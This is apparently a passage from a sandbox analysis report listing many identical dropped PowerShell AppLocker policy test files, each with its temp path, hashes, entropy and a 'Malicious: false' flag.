File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fxq2aurb.l3o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gucnsmjs.n5d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gx4yjvop.m1b.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hj53pggn.ent.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hoi51suy.joo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ht4w4kes.y10.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hvbn3hws.x0s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4xb0313.ctl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i5uhqkfc.ize.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ignnvsba.dkz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jggpslft.0py.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwsbcsvb.uzn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmifqdva.sqd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhhtzuef.vw4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0waln0l.w4o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nx2t3vrt.4yf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p30xohyh.zyq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pdzxutyk.bxl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pgjazuau.muy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ph4uzhul.fde.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ponmtoeq.jh0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psgavopf.acp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qc35t2hp.2bi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1dba01j.akx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sftw0qaa.apz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sodo4jvb.pjc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ttb44ke0.gdp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tusgfaw1.uik.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u5icckra.bta.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ug00ufuo.i0k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vylrls3b.b4q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1nc4kh0.gj0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w25rhdh4.ht2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wfvnc1ev.dah.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
